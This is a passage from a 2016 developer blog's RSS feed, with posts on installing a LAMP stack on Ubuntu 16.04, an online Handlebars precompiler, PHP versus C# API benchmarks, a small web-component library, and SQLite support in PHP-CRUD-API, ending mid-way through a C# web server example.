    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you get the following error from PHPUnit:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today is the release of Ubuntu 16.04! On this release you can install the entire
LAMP stack using:</p>
<pre><code>sudo apt-get install lamp-server^
sudo apt-get install mariadb-server mariadb-client
</code></pre>
<p>The command &ldquo;php -v&rdquo; will show that PHP7 is included:</p>
<pre><code>$ php -v
PHP 7.0.4-7ubuntu2 (cli) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
</code></pre>
<p>If you get the following error from PHPUnit:</p>
<pre><code>Class 'DOMDocument' not found
</code></pre>
<p>It is likely that you are missing the package &ldquo;php-xml&rdquo;, install it using:</p>
<pre><code>sudo apt-get install php-xml
</code></pre>
<p>Other great packages for PHP are:</p>
<pre><code>sudo apt-get install php-gd php-zip php-sqlite3 php-pgsql php-curl php-intl php-memcache php-redis
</code></pre>
<p>You can&rsquo;t login as the root user with &ldquo;mysql -uroot&rdquo;. This is caused by the
&ldquo;auth_socket&rdquo; method which is configured for the &ldquo;root&rdquo; user. This means that
you are not asked for a password if you connect with the same username via a
socket. The command &ldquo;sudo mysql&rdquo; will work and will show that MariaDB 10.0.24 is
installed:</p>
<pre><code>$ sudo mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 23476
Server version: 10.0.24-MariaDB-7 Ubuntu 16.04
</code></pre>
<p>If you now want to make a database named &lsquo;mydb&rsquo; you can simply type:</p>
<pre><code>CREATE DATABASE `mydb` CHARACTER SET utf8 COLLATE utf8_general_ci;
</code></pre>
<p>If you want to create a user &lsquo;myuser&rsquo; with password &lsquo;mypass&rsquo; that has
permissions to this database do:</p>
<pre><code>CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypass';
GRANT ALL PRIVILEGES ON `mydb`.* TO 'myuser'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
</code></pre>
<p>If you want to create an alternative root user, then the username should match
your Linux username:</p>
<pre><code>CREATE USER 'maurits'@'localhost' IDENTIFIED WITH auth_socket;
GRANT ALL PRIVILEGES ON *.* TO 'maurits'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
</code></pre>
<p>NB: This may be &ldquo;okay&rdquo; on a dev machine, but it is (for security reasons) not
recommended on a production server.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Precompile Handlebars Online</title>
      <link>https://www.tqdev.com/2016-precompile-handlebars-online/</link>
      <pubDate>Mon, 18 Apr 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-precompile-handlebars-online/</guid>
      <description>&lt;p&gt;I have been playing around with &lt;a href=&#34;http://handlebarsjs.com/&#34;&gt;Handlebars&lt;/a&gt; and it is
awesome! It is a fast JavaScript implementation of the
&lt;a href=&#34;https://mustache.github.io/&#34;&gt;Mustache&lt;/a&gt; templating language. Handlebars allows
you to precompile your template into a JavaScript object that you can store in a
variable and use as a function to transform JSON into HTML. I was missing an
online tool to test this out, so I decided to post it here. I&amp;rsquo;ve put in some
sample data to play with.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have been playing around with <a href="http://handlebarsjs.com/">Handlebars</a> and it is
awesome! It is a fast JavaScript implementation of the
<a href="https://mustache.github.io/">Mustache</a> templating language. Handlebars allows
you to precompile your template into a JavaScript object that you can store in a
variable and use as a function to transform JSON into HTML. I was missing an
online tool to test this out, so I decided to post it here. I&rsquo;ve put in some
sample data to play with.</p>
<script src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.0.5/handlebars.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/zepto/1.1.6/zepto.min.js"></script>
<style>textarea, div#rendered {width:100%;height:19em;font-size:60%;}</style>
<script>
function precompile() {
$('textarea#precompiled').val(Handlebars.precompile($('textarea#template').val()));
}
function execute() {
try {
data=JSON.parse($('textarea#data').val());
var start = new Date().getTime();
for (var i=0;i<100;i++) output = Handlebars.compile($('textarea#template').val())(data);
spent = new Date().getTime() - start;
output += '\n<!-- handlebars execution took '+(spent/100)+' milliseconds -->';
$('textarea#rendered').val(output);
} catch(e) {
$('textarea#rendered').val(e);
}
}
function execute_compiled() {
precompile();
try {
data=JSON.parse($('textarea#data').val());
var start = new Date().getTime();
for (var i=0;i<100;i++) output = Handlebars.template((new Function('return '+$('textarea#precompiled').val()))())(data);
spent = new Date().getTime() - start;
output += '\n<!-- handlebars execution took '+(spent/100)+' milliseconds (compiled) -->';
$('textarea#rendered').val(output);
} catch(e) {
$('textarea#rendered').val(e);
}
}
</script>
<h3 id="precompile-handlebars-online">Precompile Handlebars Online</h3>
<p>Enter your template in the &ldquo;input&rdquo; field and press the &ldquo;precompile&rdquo; button. The
result can be stored in a &ldquo;var template = Handlebars.template(&lt;insert output
here&gt;);&rdquo; way and be executed by calling it as a function with the JSON data
as an argument. You simply execute &ldquo;var html = template(&lt;insert json data
here&gt;);&rdquo; to generate the HTML.</p>
<div><strong>Template:</strong><br><textarea id="template">
<ul>
  {{#posts}}
  <li>
    <span class="id">{{id}}</span>, <span class="content">{{content}}</span>
    <a href="#" class="edit">edit</a> <a href="#" class="delete">del</a>
  </li>
  {{/posts}}
  <li>
    <form>
      <input name="content"/>
    </form>
  </li>
</ul></textarea></div>
<button onclick="precompile()">Precompile Handlebars</button>
<div><strong>Precompiled:</strong><br><textarea id="precompiled"></textarea></div>
<h3 id="execute-handlebars-online">Execute Handlebars Online</h3>
<p>Enter your valid JSON data in the &ldquo;data&rdquo; field and press the &ldquo;execute&rdquo; button.
The generated HTML will appear in the &ldquo;rendered&rdquo; field.</p>
<div><strong>Data:</strong><br><textarea id="data">
{
	"posts": [{
		"id": 1,
		"content": "hello"
	},{
		"id": 2,
		"content": "world"
	}]
}</textarea></div>
<button onclick="execute()">Execute Handlebars</button>
<button onclick="execute_compiled()">Execute Handlebars (compiled)</button>
<div><strong>Rendered:</strong><br><textarea id="rendered"></textarea></div>
<p>Compiled Handlebars templates are much faster than non-compiled templates as
compiling is a very expensive part of templating.</p>
<p>NB: Normally precompilation is done using &ldquo;nodejs&rdquo; and the &ldquo;handlebars&rdquo; node
package as you can read in the
<a href="http://handlebarsjs.com/precompilation.html">Handlebars documentation</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Porting PHP-CRUD-API to C#</title>
      <link>https://www.tqdev.com/2016-porting-php-crud-api-to-c/</link>
      <pubDate>Sat, 16 Apr 2016 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-porting-php-crud-api-to-c/</guid>
      <description>&lt;p&gt;I have started porting &lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt;
to C#. I am doing this for the expected improved performance and also to open up
this tool for people that do not program PHP. I am considering a Java and a Go
port after this C# port. Porting to C# has turned out to be more work than I
expected, partly because I&amp;rsquo;m not that fluid in C#. I noted that it is very good
for the code quality as I am forced to re-read and re-consider every line of
code I&amp;rsquo;ve written.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have started porting <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>
to C#. I am doing this for the expected improved performance and also to open up
this tool for people that do not program PHP. I am considering a Java and a Go
port after this C# port. Porting to C# has turned out to be more work than I
expected, partly because I&rsquo;m not that fluid in C#. I noted that it is very good
for the code quality as I am forced to re-read and re-consider every line of
code I&rsquo;ve written.</p>
<h3 id="port-of-the-core-functionality">Port of the core functionality</h3>
<p>Because the port, named
<a href="https://github.com/mevdschee/data-api-dot-net">data-api-dot-net</a>, is not yet
finished and my motivation was dropping, I decided to do some preliminary
performance tests. I took
<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">the core of PHP-CRUD-API (55 lines of code)</a>
and compared that to
<a href="https://github.com/mevdschee/data-api-dot-net/blob/master/api_my_ev.cs">the same functionality implemented in C#</a>.
This way I was able to have a first look at the performance difference between
the two implementations.</p>
<h3 id="the-test-environment">The test environment</h3>
<p>I ran both tests 100k times using Apache Bench and both times the CPU was
(almost) 100% loaded with lots of I/O wait. Both tests were executed on the same
machine: an i7 Intel NUC containing low voltage laptop components. The machine
has 4 cores and I only needed 8 concurrent threads to ensure 100% CPU load. I am
running Linux (Ubuntu 15.10) with MySQL 5.6.28 and I have
&ldquo;<code>innodb_flush_log_at_trx_commit=0</code>&rdquo; in &ldquo;<code>mysqld.cnf</code>&rdquo; for maximum insert
performance. To ensure I was comparing apples to apples I created a simple
&ldquo;Hello world&rdquo; implementation in both environments and they both performed about
25k requests per second.</p>
<h3 id="php-crud-api">PHP-CRUD-API</h3>
<p>First I tried reading a single record at maximum speed on PHP 5.6.11 (with Zend
OPcache v7.0.6) using &ldquo;<code>php -S localhost:8000 &gt;/dev/null 2&gt;&amp;1</code>&rdquo; to run the code.</p>
<pre><code>maurits@nuc:~$ ab -c 8 -n 100000 http://localhost:8000/extras/core.php/posts/2
This is ApacheBench, Version 2.3 &lt;$Revision: 1638069 $&gt;
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 10000 requests
Completed 20000 requests
Completed 30000 requests
Completed 40000 requests
Completed 50000 requests
Completed 60000 requests
Completed 70000 requests
Completed 80000 requests
Completed 90000 requests
Completed 100000 requests
Finished 100000 requests


Server Software:        
Server Hostname:        localhost
Server Port:            8000

Document Path:          /extras/core.php/posts/2
Document Length:        186 bytes

Concurrency Level:      8
Time taken for tests:   31.214 seconds
Complete requests:      100000
Failed requests:        0
Total transferred:      32300000 bytes
HTML transferred:       18600000 bytes
Requests per second:    3203.68 [#/sec] (mean)
Time per request:       2.497 [ms] (mean)
Time per request:       0.312 [ms] (mean, across all concurrent requests)
Transfer rate:          1010.54 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.0      0       2
Processing:     0    2   0.3      2      15
Waiting:        0    2   0.3      2      15
Total:          1    2   0.3      2      15

Percentage of the requests served within a certain time (ms)
  50%      2
  66%      2
  75%      3
  80%      3
  90%      3
  95%      3
  98%      3
  99%      4
 100%     15 (longest request)
maurits@nuc:~$
</code></pre>
<p>As you can see I was able to do around 3200 requests per second executing
<a href="https://github.com/mevdschee/php-crud-api/blob/master/extras/core.php">this PHP script</a>.</p>
<h3 id="data-api-dot-net">data-api-dot-net</h3>
<p>Second I tried reading the same single record at maximum speed, using Mono C#
v3.2.8 and <a href="https://github.com/kekekeks/evhttp-sharp">evhttp-sharp</a>.</p>
<pre><code>maurits@nuc:~$ ab -c 8 -n 100000 http://localhost:8000/posts/2
This is ApacheBench, Version 2.3 &lt;$Revision: 1638069 $&gt;
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 10000 requests
Completed 20000 requests
Completed 30000 requests
Completed 40000 requests
Completed 50000 requests
Completed 60000 requests
Completed 70000 requests
Completed 80000 requests
Completed 90000 requests
Completed 100000 requests
Finished 100000 requests


Server Software:        
Server Hostname:        localhost
Server Port:            8000

Document Path:          /posts/2
Document Length:        112 bytes

Concurrency Level:      8
Time taken for tests:   18.036 seconds
Complete requests:      100000
Failed requests:        0
Total transferred:      19900000 bytes
HTML transferred:       11200000 bytes
Requests per second:    5544.56 [#/sec] (mean)
Time per request:       1.443 [ms] (mean)
Time per request:       0.180 [ms] (mean, across all concurrent requests)
Transfer rate:          1077.51 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.1      0       3
Processing:     0    1   0.7      1      25
Waiting:        0    1   0.7      1      25
Total:          0    1   0.7      1      25

Percentage of the requests served within a certain time (ms)
  50%      1
  66%      1
  75%      2
  80%      2
  90%      2
  95%      2
  98%      3
  99%      3
 100%     25 (longest request)
maurits@nuc:~$
</code></pre>
<p>As you can see I was able to do around 5500 requests per second executing
<a href="https://github.com/mevdschee/data-api-dot-net/blob/master/api_my_ev.cs">this similar C# code</a>.</p>
<h3 id="expectations-and-conclusion">Expectations and conclusion</h3>
<p>These test results really motivate me to port
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> to more languages as
it can give the performance a huge boost (70% in this test). As more code is
ported I expect this difference to become even bigger. The full script in PHP
performs 950 requests per second on my machine. I really wonder how the full
implementation performs in C#.</p>
]]></content:encoded>
    </item>
    <item>
      <title>A tiny polymer clone: w3component.js</title>
      <link>https://www.tqdev.com/2016-tiny-polymer-clone-w3component-js/</link>
      <pubDate>Mon, 11 Apr 2016 07:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-tiny-polymer-clone-w3component-js/</guid>
      <description>&lt;p&gt;I like the idea of web components in a web application. I think it well-suited
for things like menus, lists and forms. I especially like the concept of having
three separate files for each element on your page. Much like this 3-layered MVC
separation in back-end applications. You can have a similar separation in the
front-end:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;HTML file holding a component&amp;rsquo;s template&lt;/li&gt;
&lt;li&gt;CSS file holding the component&amp;rsquo;s styling&lt;/li&gt;
&lt;li&gt;JavaScript file holding the component&amp;rsquo;s logic&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I wrote a tiny library, inspired by &lt;a href=&#34;https://www.polymer-project.org/&#34;&gt;Polymer&lt;/a&gt;,
to support this component separation. It is named &amp;ldquo;w3component.js&amp;rdquo; and you can
find the code on &lt;a href=&#34;https://github.com/mevdschee/w3component.js&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I like the idea of web components in a web application. I think it well-suited
for things like menus, lists and forms. I especially like the concept of having
three separate files for each element on your page. Much like this 3-layered MVC
separation in back-end applications. You can have a similar separation in the
front-end:</p>
<ol>
<li>HTML file holding a component&rsquo;s template</li>
<li>CSS file holding the component&rsquo;s styling</li>
<li>JavaScript file holding the component&rsquo;s logic</li>
</ol>
<p>I wrote a tiny library, inspired by <a href="https://www.polymer-project.org/">Polymer</a>,
to support this component separation. It is named &ldquo;w3component.js&rdquo; and you can
find the code on <a href="https://github.com/mevdschee/w3component.js">Github</a>.</p>
<h3 id="the-page">The page</h3>
<p>The page contains a web component reference. The &ldquo;w3component&rdquo; attribute may be
prefixed by the component path:</p>
<pre><code>&lt;div class=&quot;w3component&quot; data-src=&quot;hello-world&quot;&gt;Loading...&lt;/div&gt;
</code></pre>
<p>It is important that you load the following dependencies:</p>
<pre><code>&lt;script src=&quot;handlebars.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;zepto.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;w3component.js&quot;&gt;&lt;/script&gt;
</code></pre>
<p>Where Handlebars is the templating engine of choice and Zepto is a light-weight
jQuery compatible library.</p>
<h3 id="the-3-layers">The 3 layers</h3>
<p>Now the script &lsquo;w3component.js&rsquo; will scan the html for divs with class
&ldquo;w3component&rdquo; and then load three files based on the component name (in the
custom &ldquo;w3component&rdquo; attribute):</p>
<ul>
<li>hello-world.html</li>
<li>hello-world.css</li>
<li>hello-world.js</li>
</ul>
<p>The HTML in &lsquo;hello-world.html&rsquo; looks like this:</p>
<pre><code>&lt;form&gt;&lt;p&gt;Hello &lt;input name=&quot;world&quot; value=&quot;{{world}}&quot;&gt;&lt;/p&gt;&lt;/form&gt;
&lt;h3&gt;&lt;b&gt;Hello {{world}}&lt;/b&gt;&lt;/h3&gt;
</code></pre>
<p>The CSS in &lsquo;hello-world.css&rsquo; looks like this:</p>
<pre><code>.w3component h3 { color:silver; }
.w3component form { margin: 0; padding: 0; }
</code></pre>
<p>The JavaScript in &lsquo;hello-world.js&rsquo; looks like this:</p>
<pre><code>w3component.components['hello-world'] = function (element, template) {
    var self = this;
    var state = {};
    self.submit = function(e) {
        e.preventDefault();
        state.world = $(this).find('input[name=&quot;world&quot;]').val();
        self.render();
    };
    self.render = function(data) {
        element.html(Handlebars.compile(template)(state));
    };
    element.on('submit','form',self.submit);
    self.render();
};
</code></pre>
<p>Together they form the component that renders an input field that you can submit
and that will update the H3 title.</p>
<h3 id="why-not-polymer">Why not Polymer</h3>
<p>What turned me off about <a href="https://www.polymer-project.org/">Polymer</a> is that it
is trying to redefine how the web works. I&rsquo;m not against it, but we are not
there yet. This means a lot of &ldquo;polyfills&rdquo; are used to simulate browser
features. In my opinion the users should not suffer from slow loading, because a
front-end developer feels that there is a better way that the web should work.
That&rsquo;s why I tried to copy the concept of component structure, while leaving all
the other stuff out
(<a href="https://github.com/mevdschee/w3component.js/blob/master/jquery/w3component.js">33 lines of code, 1kb</a>).</p>
<p>Edit 2016-04-20: Added vanilla JavaScript implementation to the repository.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/w3component.js">w3component.js on Github</a></li>
<li><a href="http://webcomponents.org/">Web Component best-practices</a></li>
<li><a href="https://www.polymer-project.org/1.0/">Polymer project</a></li>
<li><a href="http://handlebarsjs.com/">Handlebars.js: Minimal Templating on Steroids</a></li>
<li><a href="http://mustache.github.io/">Mustache - Logic-less templates</a></li>
<li><a href="http://zeptojs.com/">Zepto.js a minimalist jQuery-compatible library</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API now supports SQLite</title>
      <link>https://www.tqdev.com/2016-php-crud-api-now-supports-sqlite/</link>
      <pubDate>Thu, 07 Apr 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-php-crud-api-now-supports-sqlite/</guid>
      <description>&lt;p&gt;After 1 year of slowly growing
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; another milestone is
reached. Today SQLite support, the fourth supported database engine, is added to
the project. This feature is added in order to facilitate fast prototyping as
SQLite is easy to install and configure. I want to thank
&lt;a href=&#34;http://www.weberantoine.fr/&#34;&gt;Antoine Weber&lt;/a&gt; for his feature request and
contribution to deliver this feature.&lt;/p&gt;
&lt;p&gt;A few months ago I did some research on the feasibility of a SQLite
implementation. I found that there were sufficient reflection methods available
for the full functionality of the reflective REST API. Other DBMS systems
provide reflection using the INFORMATION_SCHEMA, which is a SQL standard. I
found out that SQLite has similar functionality, but with non-standard
&lt;a href=&#34;https://sqlite.org/pragma.html&#34;&gt;&amp;ldquo;pragma&amp;rdquo; statements&lt;/a&gt;. These statements are
equally powerful, but less flexible as they cannot be combined with &amp;ldquo;SELECT&amp;rdquo; or
&amp;ldquo;WHERE&amp;rdquo; clauses.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>After 1 year of slowly growing
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> another milestone is
reached. Today SQLite support, the fourth supported database engine, is added to
the project. This feature is added in order to facilitate fast prototyping as
SQLite is easy to install and configure. I want to thank
<a href="http://www.weberantoine.fr/">Antoine Weber</a> for his feature request and
contribution to deliver this feature.</p>
<p>A few months ago I did some research on the feasibility of a SQLite
implementation. I found that there were sufficient reflection methods available
for the full functionality of the reflective REST API. Other DBMS systems
provide reflection using the INFORMATION_SCHEMA, which is a SQL standard. I
found out that SQLite has similar functionality, but with non-standard
<a href="https://sqlite.org/pragma.html">&ldquo;pragma&rdquo; statements</a>. These statements are
equally powerful, but less flexible as they cannot be combined with &ldquo;SELECT&rdquo; or
&ldquo;WHERE&rdquo; clauses.</p>
<h3 id="a-pseudo-information_schema-for-sqlite">A &ldquo;pseudo&rdquo; INFORMATION_SCHEMA for SQLite</h3>
<p>I decided to use the pragma statements to make a &ldquo;pseudo&rdquo; INFORMATION_SCHEMA for
SQLite. It consists of a set of 4 tables:</p>
<ul>
<li>&ldquo;<code>sys/version</code>&rdquo; from &ldquo;<code>pragma schema_version;</code>&rdquo;.</li>
<li>&ldquo;<code>sys/tables</code>&rdquo; from &ldquo;<code>select name from sqlite_master where type='table';</code>&rdquo;.</li>
<li>&ldquo;<code>sys/columns</code>&rdquo; from &ldquo;<code>pragma table_info('table');</code>&rdquo; for all tables.</li>
<li>&ldquo;<code>sys/foreign_keys</code>&rdquo; from &ldquo;<code>pragma foreign_key_list('table');</code>&rdquo; for all
tables.</li>
</ul>
<p>Note that the tables have a forward slash in their name. This is allowed in
SQLite and may prevent name collisions. The name is inspired by the &ldquo;sys&rdquo; schema
in SQL Server. Ideally these 4 tables are always up-to-date, but it is very
costly to run all these pragma queries on every API request. Fortunately SQLite
supports a &ldquo;schema_version&rdquo; pragma statement. This is a number indicating the
version of the structure of your database.</p>
<p>On every web request we check whether or not the version of the reflection
tables (stored in &ldquo;sys/version&rdquo;) equals the version returned by the
&ldquo;schema_version&rdquo; pragma statement. As long as they are the same, the table
contents do not need to be updated. This is quite an efficient caching
mechanism, because normally the structure of the database does not change that
often.</p>
<p>Another trick that is applied to speed up the SQLite engine is that &ldquo;PRAGMA
synchronous = NORMAL&rdquo; is used to avoid flushing to disk on every transaction.</p>
<h3 id="usage">Usage</h3>
<p>In order to get started with
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> and SQLite you need a
web host that supports SQLite 3 and PHP. If you have that you need to download
these two files:</p>
<ol>
<li><a href="https://github.com/mevdschee/php-crud-api/raw/master/data/blog.db">blog.db</a> -
a sample SQLite database file.</li>
<li><a href="https://github.com/mevdschee/php-crud-api/raw/master/api.php">api.php</a> - the
single file PHP REST API.</li>
</ol>
<p>Store &ldquo;api.php&rdquo; in your web root folder and &ldquo;blog.db&rdquo; in a path that is not
served (one directory up). In the bottom of &ldquo;api.php&rdquo; you need to uncomment the
SQLite config block. Point the &ldquo;database&rdquo; parameter to the &ldquo;blog.db&rdquo; file you
downloaded and start &ldquo;api.php&rdquo; in your browser. Now you can play around with the
examples from the
<a href="https://github.com/mevdschee/php-crud-api/blob/master/README.md">README</a>. You
can use <a href="http://editor.swagger.io/">Swagger Editor</a> to view the documentation
and try out some REST API calls. Choose &ldquo;File&rdquo; - &ldquo;Import URL&rdquo; and paste the URL
of your &ldquo;api.php&rdquo; file.</p>
<p>Have fun and report issues and questions at
<a href="https://github.com/mevdschee/php-crud-api">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>High performance C# web service using EvHttpSharp</title>
      <link>https://www.tqdev.com/2016-high-performance-c-web-service-evhttpsharp/</link>
      <pubDate>Mon, 04 Apr 2016 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-high-performance-c-web-service-evhttpsharp/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://www.tqdev.com/2016-choose-java-go-or-javascript-for-your-api&#34;&gt;previous post&lt;/a&gt; I
announced a attempts at high performance web server implementations in some
popular languages (Java, Go, C# and JavaScript). Today I will show you a C#
implementation and give you instructions on how to get it running on your own
machine.&lt;/p&gt;
&lt;h3 id=&#34;source-code-for-httplistener-example&#34;&gt;Source code for HttpListener example&lt;/h3&gt;
&lt;p&gt;Below you find a nice and short web server written in C# that I found
&lt;a href=&#34;http://www.navioo.com/csharp/examples/HttpListener_Demo_2584.html&#34;&gt;online&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c#&#34; data-lang=&#34;c#&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Net&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Threading&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;WebServer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;HttpListener&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_listener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;WebServer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;address&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_listener&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HttpListener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_listener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Prefixes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;address&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;                        
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_listener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
